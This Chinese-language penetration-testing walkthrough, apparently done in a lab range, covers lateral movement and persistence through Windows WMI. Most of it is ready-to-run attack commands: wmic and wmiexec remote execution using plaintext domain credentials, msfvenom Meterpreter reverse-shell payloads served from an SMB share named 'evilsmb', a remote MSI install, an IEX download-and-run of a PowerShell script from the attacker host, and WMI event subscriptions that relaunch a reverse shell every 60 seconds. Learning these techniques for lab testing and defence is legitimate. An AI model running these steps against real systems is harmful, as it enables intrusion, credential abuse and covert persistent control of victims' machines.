文章目录
- 一、WMI介绍
- 二、常规利用方法
- 三、常见利用工具
- 3.1 wmiexec
- 3.2 Invoke-WmiCommand
- 四、WMI事件订阅的利用
- 4.1 手动实现
- 4.2 Sharp-WMIEvent
网络拓扑:
攻击机kali IP:192.168.111.0
跳板机win7 IP:192.168.111.128,192.168.52.143
靶机win server 2008 IP:192.168.52.138
一、WMI介绍
WMI
(Windows Management Instrumentation,Windows管理规范)是一项核心的windows管理技术。从Windows 98开始,windows操作系统都支持WMI。用户可以通过WMI管理本地和远程计算机。Windows为远程传输WMI数据提供了两个可用的协议,即分布式组件对象模型(Distributed Component Object Model
)和windows远程管理(Windows Remote Management
,WinRM),使得WMI对象的查询、事件注册、WMI类方法的执行和类的创建等都可以远程执行。
利用WMI进行横向移动需要具备以下条件:1、远程主机的WMI服务为开启状态(默认开启);2、远程主机防火墙放行135端口,这是WMI管理的默认端口。
二、常规利用方法
在windows上可以通过wmic.exe和powershell Cmdlet来使用WMI数据和执行WMI方法。wmic.exe是一个与WMI进行交互的强大的命令行工具;windows powershell也提供了许多可以与WMI进行交互的Cmdlet,如Invoke-WmiMethod、Set-WmiInstance等。
1、通过WMIC查询远程主机(192.168.52.138)上允许的进程信息。
# 执行远程查询
wmic /node:192.168.52.138 /user:god\liukaifeng01 /password:hongrisec@2024. process list brief
2、通过调用Win32_Process.Create方法在远程主机上创建进程,启动CMD来执行系统命令。
# 创建远程进程
wmic /node:192.168.52.138 /user:god\liukaifeng01 /password:hongrisec@2024. process call create "cmd.exe /c ipconfig > c:\result.txt"
由于WMIC在执行命令时没有回显,因此可以将执行结果写入文件,然后建立IPC连接来远程读取。
# 建立IPC连接
net use \\192.168.52.138\ipc$ hongrisec@2024. /user:god\liukaifeng01
# 读取文件
type \\192.168.52.138\c$\result.txt
3、远程安装MSI文件
通过调用Win32_Prouduct.Install
方法,可以控制远程主机安装恶意的MSI(Microsoft Installer)文件,从而获取其权限。
3.1 使用MSF生成一个恶意的MSI文件
为了收到反弹shell,这里给kali多加一个网卡,ip为192.168.52.1。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.52.1 lport=4444 -f msi -o reverse_tcp.msi
3.2 在kali上搭建SMB服务器,用于文件传输。
impacket-smbserver evilsmb /root/share -smb2support# 查看smb状态
systemctl status smb
# 关闭smb服务
systemctl stop smb
3.3 win7使用MSI让靶机(192.168.52.138)安装恶意的MSI文件。
wmic /node:192.168.52.138 /user:god\liukaifeng01 /password:hongrisec@2024. product call install PackageLocation="\\192.168.52.1\evilsmb\reverse_tcp.msi"# MSF监听
use exploit/multi/handler # msf自带的监听模块
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.52.1 # 攻击机IP
set lport 4444
exploit
三、常见利用工具
3.1 wmiexec
impacket项目中的wmiexec.py能够以全交互或半交互的方式,通过WMI在远程主机上执行命令。注意:该工具需要远程主机开放135和445端口,其中445端口用于传输命令执行的回显。
wmiexec.py要想在windows下直接使用,可以用
PyInstaller
打包成独立的exe文件。
kali执行下面的命令获取win7的交互式命令行:
impacket-wmiexec god/administrator:hongrisec@2024.@192.168.111.128
# impacket-wmiexec <domain>/<username>:<password>@<ip>
win7执行下面的命令获取win server 2008的交互式命令行:
wmiexec.exe god/liukaifeng01:hongrisec@2024.@192.168.52.138
3.2 Invoke-WmiCommand
Invoke-WmiCommand.psl
是powersploit项目中的一个脚本,可以通过powershell调用WMI来远程执行命令。
# 远程加载Invoke-wmicommand脚本
IEX(New-Object Net.Webclient).DownloadString('http://192.168.111.0:9999/Invoke-WmiCommand.ps1')
# 指定远程系统用户名
$User = "god\liukaifeng01"
# 指定用户的密码
$Password = ConvertTo-SecureString -String "hongrisec@2024." -AsPlainText -Force
# 将用户名和密码整合,以便导入Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
# 指定远程主机和要执行的命令
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName "192.168.52.138"
# 输出命令执行回显
$Remote.PayloadOutput
直接复制,可能会影响命令执行。
四、WMI事件订阅的利用
WMI提供了一个强大的事件处理系统,几乎可以用来对操作系统上发生的任何事件做出响应。例如,当创建某进程时,通过WMI事件订阅来执行预先设置的脚本。其中,触发时间的具体条件被称为“事件消费者”,如用户登录、新进程创建等;对指定事件发生做出的响应被称为“事件消费者”,包括一系列具体的操作,如运行脚本、记录日志、发送邮件等。在部署事件时,需要分别构建Filter和Consumer两部分,并将二者绑定在一起。
测试人员可以使用WMI的功能在远程主机上部署永久事件订阅,并在特定事件发生时执行任意代码或系统命令。使用WMI事件消费类的ActiveScriptEventConsumer
和CommandLineEventConsumer
,可以在远程主机上执行任何攻击载荷。该技术主要用来在目标系统上完成权限持久化,也可以用于横向移动。
4.1 手动实现
1、整合PSCredential
,用于后续过程的认证。
# 指定远程系统用户名
$User = "god\liukaifeng01"
# 指定用户的密码
$Password = "hongrisec@2024."
$SecurePassword = $Password | ConvertTo-SecureString -AsPlainText -Force
# 将用户名和密码整合,以便导入Credential
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$SecurePassword
2、设置攻击目标和其他参数
$GlobalArgs = @{}
$ComputerName = "192.168.52.138"
$GlobalArgs['Credential'] = $Credential
$GlobalArgs['ComputerName'] = $ComputerName
3、在远程主机(192.1168.52.138)上部署Filter
事件过滤器,用于查询svchost.exe
进程的产生。由于WMI所有的事件过滤器都被存储在ROOT\subscription:__EventFilter
对象的实例中,因此通过Set-WmiInstance Cmdlet
创建一个__EventFilter
类的实例即可。
$EventFilterArgs = @{EventNamespace = 'root/cimv2'Name = "TestFilter"Query = "SELECT * FROM Win32_ProcessStartTrace where processname = 'svchost.exe'"QueryLanguage = 'WQL'
}
$EventFilter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $EventFilterArgs @GlobalArgs
shift+enter
结束多行命令输入。
4、在远程主机上(192.1168.52.138)部署一个名为 TestConsumer
的事件消费者,创建事件消费类 CommandLineEventConsumer
的实例,在指定事件发生时执行系统命令。
$CommandLineEventConsumerArgs = @{Name = "TestConsumer"CommandLineTemplate = "C:\Windows\System32\cmd.exe /c calc.exe"
}
$EventConsumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $CommandLineEventConsumerArgs @GlobalArgs
5、将创建的事件过滤器和事件消费者绑定在一起。
$FilterConsumerBindingArgs = @{Filter = $EventFilterConsumer = $EventConsumer
}
$FilterConsumerBinding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $FilterConsumerBindingArgs @GlobalArgs
以上所有命令均是在win7上执行。
在靶机上用process monitor去查看进程树,看是否存在calc.exe
。
执行完脚本,也可以通过一些命令去查看创建的实例,已确定脚本执行成功:
# 查看创建的事件过滤器的实例
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
# 查看创建的事件消费者的实例
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
# 查看事件绑定,可以从 __PATH 属性中看到哪个 Filter 和 Consumer 用于 WMI 事件
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
4.2 Sharp-WMIEvent
1、在kai中搭建SMB服务器,并将反弹shell的脚本放在共享目录中。
# 生成反弹shell
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.52.1 lport=4444 -f exe -o reverse_tcp.exe# 搭建SMB服务器
impacket-smbserver evilsmb /root/share -smb2support
2、在win7上执行以下命令,运行Sharp-WMIEvent
。
# 在win7跳板机上运行
# 导入模块
import-module .\Sharp-WMIEvent.ps1# 在靶机上部署一个随机重命名的永久事件订阅,每隔60s执行一次SMB共享中的反弹shell
Sharp-WMIEvent -Trigger Interval -IntervalPeriod 60 -ComputerName 192.168.52.138 -Username god\liukaifeng01 -Password hongrisec@2024. -Command "cmd.exe /c \\192.168.52.1\evilsmb\reverse_tcp.exe"# kali设置监听
use exploit/multi/handler # msf自带的监听模块
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.52.1
set lport 4444
exploit